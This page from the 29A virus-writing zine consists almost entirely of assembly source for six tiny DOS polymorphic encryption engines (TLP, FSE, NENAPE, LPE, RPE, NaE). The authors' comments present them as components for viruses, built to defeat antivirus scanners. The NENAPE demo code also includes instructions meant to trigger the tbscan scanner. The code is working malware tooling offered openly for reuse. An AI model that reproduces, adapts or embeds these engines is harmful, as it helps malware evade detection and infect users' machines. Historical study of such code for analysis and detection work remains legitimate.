Copy Link
Add to Bookmark
Report
29A Issue 03 03 10
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ
;****************************************************************************
; TLP - Tiny Lame Poly Engine V2.0 by Dark Cobra
; Note: This engine is not intended to be useful, but rather interesting.
; That's why I made it small and useless ;)
;
; Thanks go to Darkman for pointing out an obvious optimization which I had
; accidently overseen while thinking about the difficult parts of this. His
; hint saved me one more byte, which is significant in such a short engine.
;
; Now, the engine is only 48 bytes small! :)
;
; Greatings to (in no specific order): GriYo, Darkman, VirusBuster, B0z0,
; StarZero, Super, Yesna, Serialkiller, Reptile
;
;
;****************************************************************************
.MODEL TPASCAL
P386
LOCALS @@
.CODE
ASSUME CS: CODE, DS: CODE, ES: CODE, SS: CODE
ORG 100H
EntryPoint:
; mov di, offset EntryPoint
; db 11 dup (90h)
;****************************************************************************
; in: ES:DI = pointer to buffer for new decryptor
; SI = begin of code to be decrypted
; DX = end of code to be decrypted
; out: ES:DI = new decryptor
;****************************************************************************
;The engine generates a decryptor of the following (general) form:
;mov r1, code_begin b8+r1 code_begin (1)
;crypt:
;xor [r1], xor_key 80 01110r1 00 (2)
;inc r1 40+r1 (3)
;cmp r1, code_end 81 01111r1 code_end (4)
;jnz crypt 75 crypt - $ (5)
;SI: 0 --> 6 00 --> 110 +6 XOR 110
;DI: 1 --> 7 01 --> 111 +6 XOR 110
;BP: 2 --> 5 10 --> 101 +3 XOR 110
;BX: 3 --> 3 11 --> 011 +0 XXXXXXX
xor ax, ax
in al, 40h
and al, 3
push ax
jnp short @@2
jnz short @@1
@@2: xor al, 6
@@1:
add al, 0b8h
stosb
xchg ax, si
stosw
pop ax
add ax, 8074h
xchg al, ah
stosw
in al, 40h
shl ax, 8
stosw
xchg ax, si
sub al, (0b8h - 40h)
stosb
add ax, (81f8h - 40h)
xchg al, ah
stosw
xchg ax, dx
stosw
mov ax, 0f575h
stosw
ret
END EntryPoint
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ
;=====( Fucking Small Engine - by Rajaat / 29A )===============================
;
; Type : Polymorphic Engine
; Comments : This polymorphic engine is very easy to detect, since uses no
; random trash code or anything else to complicate detecting the
; decryptor itself, but this is made to see how you could defeat
; scanners that still use the (in my opinion obsolete) XRAY
; technique to detect encrypted viruses. FSE uses 8-15
; different operations on each byte, making it virtually
; impossible to do a cryptanalytic attack.
;
; Operands used by FSE to encrypt code:
; XOR SUB ADD ROL ROR NOT NEG INC DEC
;
; Registers used by FSE as pointer:
; BX SI DI
;
; Registers used by FSE as counter:
; AX BX CX DX SI DI BP
;
;=====( Fucking Small Engine - by Rajaat )=====================================
;
; DS:SI = code to encrypt
; ES:DI = place for encrypted code + decryptor
; CX = code length to encrypt
; AX = offset in target
;
;==============================================================================
.model tiny
.code
.radix 16
public C fse ; yes, I used it in my Borland
; C virus :-D
fse proc C ; fse()
push bp ; preserve BP
call get_offset ; get delta offset (in case you
get_offset: pop bp ; are making a direct action
sub bp,offset get_offset ; infector)
push di es ; save some registers I need
push si ; later on
push cx ;
push ax ;
push di ;
push di ;
cld ;
push es ; clear encrypt code buffer
push cs ; (there was a bug in here when
pop es ; this source was on my home
lea si,end_sequencer[bp] ; page, it ES != CS it would
lea di,enc_sequencer[bp] ; make incorrect encryptions)
mov al,90 ;
push cx ;
mov cx,len_sequencer ;
rep stosb ;
pop cx ;
pop es ;
pop di ;
mov ax,1f0e ; write PUSH CS / POP DS
stosw ; sequence (wow, fixed code)
bad_registers: call rnd_get
and ax,0707
cmp ah,al ; pointer & counter can't be
je bad_registers ; the same register
cmp al,4 ; don't use SP!
je bad_registers
cmp ah,03 ; BX is pointer register
je good_pointer
cmp ah,6 ; or else FSE uses SI or DI as
jb bad_registers ; index register
good_pointer: push ax
sub ah,6
cmp ah,08
jb convert_ok
mov ah,3
convert_ok: mov byte ptr cs:pointer_reg[bp],ah
pop ax
add ax,0b8b8
push ax
call rnd_get
mov bx,1
inc ax
pop ax
jns dont_flip
xchg ah,al
xchg bh,bl
dont_flip: stosb
mov dx,di
test bl,1
push ax
jz no_counter
call rnd_get
and ax,1ff
add ax,cx
no_counter: stosw
pop ax
xchg ah,al
stosb
push ax bx
test bl,1
jnz is_counter
and ax,1ff
add ax,cx
jmp store
is_counter: mov dx,di
store: stosw
mov cx,di
push cx
call rnd_get
mov cx,ax
and cx,7
add cx,7
encrypt_actions:
call rnd_get
no_more_than_8: and ax,1f
sub ax,8
cmp ax,8
ja no_more_than_8
shl ax,1
mov bx,ax
add bx,bp
mov ax,word ptr cs:enc_opers[bx]
test ah,80
jnz no_xor_add_sub
mov ah,80
add al,byte ptr cs:pointer_reg[bp]
xchg ah,al
stosw
call rnd_get
stosb
jmp xor_add_sub
no_xor_add_sub: sub ah,0bc
add ah,byte ptr cs:pointer_reg[bp]
no_bx: stosw
xor_add_sub: mov bx,word ptr cs:dec_opers[bx]
cmp bh,0
jne no_xas
mov bh,al
no_xas: mov word ptr cs:[si],bx
dec si
dec si
loop encrypt_actions
pop cx
;=== inc/dec pointer and counter
pop bx ax
test bl,1
jnz pointer_first
xchg ah,al
pointer_first: sub ax,7078
stosb
push ax
pop ax
xchg ah,al
stosb
;=== building repeat loop
cmp al,49
mov al,75
jnz no_loop
dec di
mov al,0e2
no_loop: stosb
sub cx,di
dec cx
xchg ax,cx
stosb
xchg bx,dx
mov dx,di
pop ax
sub dx,ax
pop ax
add dx,ax
mov word ptr es:[bx],dx
pop cx
;=== encrypt code
pop si
encrypt_loop: lodsb
call enc_sequencer
stosb
loop encrypt_loop
mov cx,di
pop ds dx
sub cx,dx
pop bp
ret
rnd_get: in al,40
xchg ah,al
in al,41
xor al,ah
ret
; XOR SUB ADD ROL ROR NOT NEG INC DEC
enc_opers dw 00034,0002c,00004,0c0d0,0c8d0,0d0f6,0d8f6,0c0fe,0c8fe
dec_opers dw 00034,00004,0002c,0c8d0,0c0d0,0d0f6,0d8f6,0c8fe,0c0fe
fse_signature db '[ FSE 1.0 by Rajaat / 29A ]',0
enc_sequencer: dw 18 dup (9090)
end_sequencer equ $-2
len_sequencer equ $-enc_sequencer
ret
pointer_reg db 0
fse endp
end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ
;=====( Not Even Near A Polymorphic Engine )===================================
;
; By Rajaat
;
; The reason i wrote NENAPE was that I didn't have an engine yet that I easily
; call multiple times to generate more than one layer of encrytion. At
; the moment the encryption method is very bad, but I will hope to
; improve this soon, together with the code it generates. The main thing
; is that the encryptor is build up perfectly and that the code is
; compact yet modular.
;
; NENAPE
;
; CLEAN = 1 ; 111 bytes
;
;==============================================================================
;
; Note: I've got to extend the random opcode generator ofcourse, but you'll
; see the point I have here, i don't need much register preserving, this
; allowing me to do more shitty opcodes and obscure interrupts, making it look
; like a legitimate program ;-)
;
; And eh.... I'll promise I'll comment it ;-) Doh!
;
.model tiny
.code
.radix 16
org 100
main:
IFNDEF CLEAN
call get_delta
get_delta: pop bp
sub bp,offset get_delta
mov ax,3c00
xor cx,cx
lea dx,fnam[bp]
int 21
xchg ax,bx
push bx
lea bx,main[bp]
lea di,virus_end[bp]
mov ax,virus_bytes
call nenape
mov di,dx
add di,cx
mov bx,dx
xchg ax,cx
call nenape
pop bx
mov ah,40
int 21
mov ah,3e
int 21
mov ax,4c00
int 21
fnam db 'V.COM',0
; Here some shit that flags tbscan like hell ;-)
mov ax,0aace
int 21
cmp ax,0b00c
mov ax,100
jmp ax
int 12
dec ax
mov word ptr ds:[413],ax
cmp ax,4b00
jne $+2
mov ax,4301
int 21
mov ax,5701
int 21
cmp ax,'MZ'
cmp ax,'ZM'
db '*.COM',0
ENDIF
;=====( Not Even Near A Polymorphic Engine )===================================
;
; Input: DS:BX = code to encrypt
; ES:DI = place to put encrypted code + decryptor
; AX = length of code to encrypt
;
; Output: DS:DX = encrypted code + decryptor
; CX = length of encrypted code + decryptor
;
;==============================================================================
; +6 +4 +2 +0
nenape: push ax bx si di
cli
call nenape_delta
nenape_delta: pop si
sub si,offset nenape_delta
mov bx,sp
mov word ptr decode_length[si],ax
in al,40
mov byte ptr value[si],al
lea si,decryptor[si]
mov cx,decryptor_bytes / 2
create_decrypt: cld
in al,40
and al,7
test al,4
jnz create_decrypt
; Extend this
mov dl,al
mov al,0b8
add al,dl
stosb
lodsw
push ax
stosw
mov al,50
add al,dl
stosb
loop create_decrypt
movsw
mov si,word ptr [bx+4]
mov cx,word ptr [bx+6]
push di
rep movsb
pop si
mov dx,word ptr [bx+0]
sub di,dx
mov bx,sp
add bx,7
call bx
mov cx,di
add sp,decryptor_bytes
sti
pop di si bx ax
ret
; Image of below remarked code pushed wordwise backwards (my personal horror)
decryptor: dw 052c3h
dw 0fae2h
value dw 04600h
dw 03480h
decode_length dw 01000h
dw 0b91fh
dw 00e56h
dw 05e41h
dw 03932h
;decryptor: db '29A' ; hidden signature ;-)
; pop si
; push si
;encrypt: push cs
; pop ds
; mov cx,10
;decode_length equ $-2
;continue: xor byte ptr [si],0
;value equ $-1
; inc si
; loop continue
; ret
; db 'R' ; hidden signature :-D
decryptor_bytes equ $-decryptor
call sp
nenape_bytes equ $-nenape
virus_end equ $
virus_bytes equ virus_end-main
end main
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ
.model tiny
.code
.radix 16
.286
; CLEAN = 1 ; remove ; in order to remove example code
org 100
main:
;=====( Little example code that shows how to use the LPE )====================
;
; Since it is hardly interesting I left most of it uncommented, the LPE is the
; working horse in this source.
;
;==============================================================================
IFNDEF CLEAN
call get_delta
filename db 'LPE.COM',0
get_delta: pop si
sub si,offset filename
mov ax,03d02
lea dx,filename[si]
int 21
push ax
lea si,end_lpe[si] ; parameter settings
mov di,1000 ; for lpe are done
mov cx,virus_words ; here. look at lpe header
call lpe ; for the info
mov ah,40
pop bx
int 21
mov ah,3e
int 21
mov ah,4c
int 21
ENDIF
;=====( Ludicrous Poly Engine by Rajaat / 29A )================================
;
; DS:SI = offset end of virus - 2
; ES:DI = place where to put encrypted code + decryptor
; CX = virus size in (words / 2)
; Pad your virus to an even amount of bytes, please (OR YOUR CODE DIES!!!)
;
; Returns:
; ES:DX = encrypted code+decryptor
; CX = length of encrypted code+decryptor
; All other registers might be trashed
;
; Don't forget to eventually restore the stack to it's original location before
; returning to the host, some unpredictable things might happen if you don't.
;
;=====( Why I wrote this load of crap? )=======================================
;
; Cyberyoda on #virus on undernet has started a contest to write a small virus
; in 150 bytes, and the most effective virus wins. This engine is only 50 bytes
; and generates very polymorphic code in respect to its size.
;
;==============================================================================
lpe: push di ; store destination
repeat_lpe: db 0d6h ; assume carry clear, so AL = 0
out 43,al ; init randomizer
in al,40 ; get random number
and al,7 ; save only low nibble
or al,0b8 ; add 0b8, gets in MOV <reg>,<value>
cmp al,0bc ; is it 0bc (SP register)
je repeat_lpe ; yes, not desirable - get another reg
stosb ; store opcode
push ax ;
push ax ;
in ax,40 ; get semi-random value
stosw ; store word
xchg ax,bx
mov al,81 ; xor <reg>,<word xor value>
stosb ; store opcode
pop ax ;
add al,38 ; get register
stosb ; store register
std
lodsw ; get word (backwards)
cld
xor ax,bx ; xor word with value
stosw ; store after xor opcode
pop ax
sub al,068 ; push <reg>
stosb ; store opcode
loop repeat_lpe ; repeat until all words dont
mov ax,0e4ff ; jmp sp
stosw ; store opcode
xchg cx,di
pop dx ; get destination offset
sub cx,dx ; calculate length
ret
end_lpe equ $
;==============================================================================
virus_bytes equ $-main
virus_words equ (virus_bytes shr 1) + 1
end main
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ
;
; I owe thanks to Dr. Dope for the 1 byte optimization.
;
.model tiny
.code
.radix 16
.386
org 100
;=====( RPE - Rajaats Push Engine )============================================
;
; Minor version of LPE, redone and optimized, done by Rajaat / 29A as joke.
;
; Input : DS:SI = virus code end - 2
; ES:DI = pushorized virus
; CX = virus bytes / 2
; Output : ES:DX = pushorized virus (ES!!!)
; CX = pushorized virus length
;
; Align virus size to a word boundary, and leave some stack for the host.
;
;==============================================================================
rpe: mov dx,di ; for ES:DX return parameter
rpe_loop: in al,40 ; get "random" byte
and al,7 ; make it range 0-7
add al,0B8 ; make mov <reg>
cmp al,0BC ; BC = SP register, which we can't use
je rpe_loop ; so we have to get another number
stosb ; store opcode
movsw ; add some code (in reverse order)
sub si,4 ; si -= 4 (easier than cld/std shit)
sub al,(0B8-50) ; get push <reg>
stosb ; store it
loop rpe_loop ; repeat until whole virus done
mov ax,0e4ff ; get jmp sp opcode
stosw ; store it
sub di,dx ; calculate new length
xchg cx,di ; and present it in cx
ret ; done (31 bytes)
end rpe
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ
comment *
Nearly an Engine v 2.00 [NaE]
Calling parameters:
DL One byte garbage instruction
CX Length of original code
BP Decryptor's offset
DS:SI Pointer to original code
ES:DI Pointer to decryptor + encrypted code
Return parameters:
CX Length of decryptor + encrypted code
Garbage instructions:
User defined.
Nearly an Engine v 2.00 [NaE] decryptor:
Zero to two hundred and fifty-five garbage instruction(s).
MOV DI,imm16 (Offset of encrypted code)
MOV CX,imm16 (Length of encrypted code)
XOR CS:[DI],imm8 (Decryption key)
INC DI
LOOP imm8 (Beginning of XOR CS:[DI],imm8)
Min. decryptor size: 13 bytes.
Max. decryptor size: 268 bytes.
Nearly an Engine v 2.00 [NaE] size: 58 bytes (excl. ' [NaE] ').
*
nae_begin equ $ ; Begining of Nearly an Engine v 2...
nae_poly proc near ; Nearly an Engine v 2.00 [NaE]
push si cx ; Save registers at stack
lea si,cryptor ; SI = offset of cryptor
mov [si+(crypt_length-cryptor)],cx
in al,40h ; AL = encryption/decryption key
mov [si+(crypt_key-cryptor)],al
xor ax,ax ; Zero AX
in al,40h ; AL = number of garbage instructi...
push ax ; Save AX at stack
xchg ax,cx ; CX = number of garbage instructi...
xchg ax,dx ; AL = garbage instruction
rep stosb ; Generate random number of garbag...
pop ax ; Load AX from stack
mov cl,(cryptor_end-cryptor)
add ax,cx ; AX = length of decryptor
add bp,ax ; BP = offset of plain/encrypted c...
mov [si+(crypt_offset-cryptor)],bp
rep movsb ; Move the decryptor above the gar...
pop cx si ; Load registers from stack
push di ; Save DI at stack
rep movsb ; Move the plain code above the de...
pop di ; Load DI from stack
db 00111010b ; CMP BH,[BP+imm16] (opcode 3ah)
cryptor:
crypt_offset equ word ptr $+01h ; Offset of plain/encrypted code
mov di,00h ; DI = offset of plain/encrypted code
crypt_length equ word ptr $+01h ; Length of plain/encrypted code
mov cx,00h ; CX = length of plain/encrypted code
crypt_loop:
crypt_key equ byte ptr $+03h ; Encryption/decryption key
xor byte ptr cs:[di],00h
inc di ; Increase index register
loop crypt_loop
cryptor_end:
xchg ax,cx ; CX = length of decryptor
add cx,dx ; CX = length of decryptor + encry...
ret ; Return!
endp
engine_name db ' [NaE] ' ; Name of the engine
nae_end equ $ ; End of Nearly an Engine v 2.00 [...
nae_size equ $-nae_begin ; Size of Nearly an Engine v 2.00 ...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ